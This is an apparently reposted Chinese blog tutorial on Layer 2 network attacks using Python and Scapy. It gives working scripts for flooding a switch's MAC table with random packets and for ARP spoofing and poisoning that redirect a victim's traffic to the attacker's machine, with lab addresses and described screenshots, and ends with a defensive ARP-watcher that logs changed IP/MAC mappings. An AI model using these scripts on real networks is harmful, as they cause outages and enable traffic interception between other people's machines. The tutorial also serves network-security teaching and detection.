[python] Layer2攻击

首先强调一下,下面多数代码都需要超级用户才能执行。
1.MAC-Flooder
交换机和其他的计算机一样,内存都是有限定的大小的,对于交换机中存储MAC地址信息的表而言也是如此,这个表用于记住哪个MAC地址在哪个端口上。
当发生缓冲区溢出时,交换机的行为会发生异常,轻则拒绝服务,重则以hub的方式工作。
当以hub方式工作时,流量会激增,更严重的是,这些流量可以被所有连接到交换机上的计算机看见。
下面的代码生成大量随机的MAC地址,然后将其发送到交换机上,直到缓冲区被填满。
import sys
from scapy.all import *

packet = Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*")) / IP(src=RandIP("*.*.*.*"),dst=RandIP("*.*.*.*")) / ICMP()

if len(sys.argv) < 2:
	dev = "eth0"
else:
	dev = sys.argv[1]

print "Flooding net with random packets on dev "+dev

sendp(packet, iface=dev, loop=1)
程序的运行结果如下,注意,为了不造成破坏,这里只让代码运行很短的时间就用Control-C将其关闭。
[python] Layer2攻击_第1张图片

从图中可见脚本发送了大量ICMP包,为了抓包方便,实际当中我们将源IP写为固定值,目的IP采用随机。

[python] Layer2攻击_第2张图片


2.ARP应答欺骗-1

运行的格式为python test.py
功能是,构造一个ARP应答包,告诉的MAC地址为运行此脚本的机器的MAC地址。

import sys
import time
from scapy.all import sendp,ARP,Ether

if len(sys.argv) < 3:
	print sys.argv[0] + ": "
	sys.exit(1)

iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
	sendp(packet,iface=iface)
	time.sleep(10)
实验中用到三个机器
10.0.3.9/44-39-C4-32-F4-50 用作被攻击端
10.0.3.83/00:0c:29:ac:4f:cf 用作攻击端
10.0.3.82/00-0C-29-D5-2E-8A 用作

运行脚本,python test.py 10.0.3.9 10.0.3.82
它的意思就是向10.0.3.9机器发送ARP应答包,告诉被攻击端10.0.3.82的MAC地址为10.0.3.83的MAC地址,因为攻击代码运行在10.0.3.83上
攻击时运行脚本的结果如下

[python] Layer2攻击_第3张图片
数据包如下

[python] Layer2攻击_第4张图片
在被攻击端

[python] Layer2攻击_第5张图片

3.ARP应答欺骗-2

代码

import sys
from scapy.all import sniff, sendp, ARP, Ether

if len(sys.argv) < 2:
	print sys.argv[0] + ""
	sys.exit(0)

def arp_poison_callback(packet):
	#Got ARP request?
	if packet[ARP].op == 1:
		answer = Ether(dst=packet[ARP].hwsrc) / ARP()
		answer[ARP].op = "is-at"
		answer[ARP].hwdst = packet[ARP].hwsrc
		answer[ARP].psrc = packet[ARP].pdst
		answer[ARP].pdst = packet[ARP].psrc
		
		print "Fooling " + packet[ARP].psrc + " that " + packet[ARP].pdst + " is me"
		
		sendp(answer, iface=sys.argv[1])
		
sniff(prn=arp_poison_callback, filter="arp", iface=sys.argv[1],store=0)
程序的运行过程如下:
[python] Layer2攻击_第6张图片

数据包

[python] Layer2攻击_第7张图片

这个程序会等待ARP请求,捕获到以后,以脚本运行所在主机的MAC地址做出应答。
运行此程序时要注意,因为会引发断网的效果。

4.ARP-Watcher

程序源码:

from scapy.all import sniff,ARP
from signal import signal,SIGINT
import sys

arp_watcher_db_file = "/home/wangpeng/arp-watcher.db"
ip_mac = {}

#Save ARP table on shutdown
def sig_int_handler(signum,frame):
	print "Got SIGINT. Saving ARP database..."
	try:
		f = open(arp_watcher_db_file,"w")
		for (ip,mac) in ip_mac.items():
			f.write(ip + " " + mac + "\n")
		f.close()
		print "Done."
	except IOError:
		print "Cannot write file " + arp_watcher_db_file
		sys.exit(1)

def watch_arp(pkt):
	# got is-at pkt (ARP response)
	if pkt[ARP].op == 2:
		print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
		
		#Device is new. Remember it.
		if ip_mac.get(pkt[ARP].psrc) == None:
			print "Found new device " + pkt[ARP].hwsrc + " " + pkt[ARP].psrc
			ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
		
		#Device is known but has a different IP
		elif ip_mac.get(pkt[ARP].psrc) and (ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc):
			print pkt[ARP].hwsrc + " has got new ip " + pkt[ARP].psrc + " (old " + ip_mac[pkt[ARP].psrc] + ")"
			ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
			
signal(SIGINT, sig_int_handler)

if len(sys.argv) < 2:
	print sys.argv[0] + " "
	sys.exit(0)

try:
	fh = open(arp_watcher_db_file, "r")
except IOError:
	print "Cannot read file " + arp_watcher_db_file
	sys.exit(1)

for line in fh:
	line=line.strip()
	(ip,mac) = line.split(" ")
	ip_mac[ip] = mac

sniff(prn=watch_arp,filter="arp",iface=sys.argv[1],store=0)
执行过程:

第零步,首先在相应的路径下创建arp-watcher.db文件

第一步,记录一些ARP信息,通过键盘打断程序,程序会将ARP信息记录在arp-watcher.db文件中

[python] Layer2攻击_第8张图片

第二步,重新执行程序,在这一步中,如果得到的ARP信息已经在字典中,那么直接打印信息;如果是新ARP记录,则会显示"Found new device";如果ARP包中的信息与记录中不同,则会显示"has got new ip",打断程序后,会将新的ARP信息记录在db文件中。

[python] Layer2攻击_第9张图片

db文件的样子如下:

[python] Layer2攻击_第10张图片

哈哈

你可能感兴趣的:(python)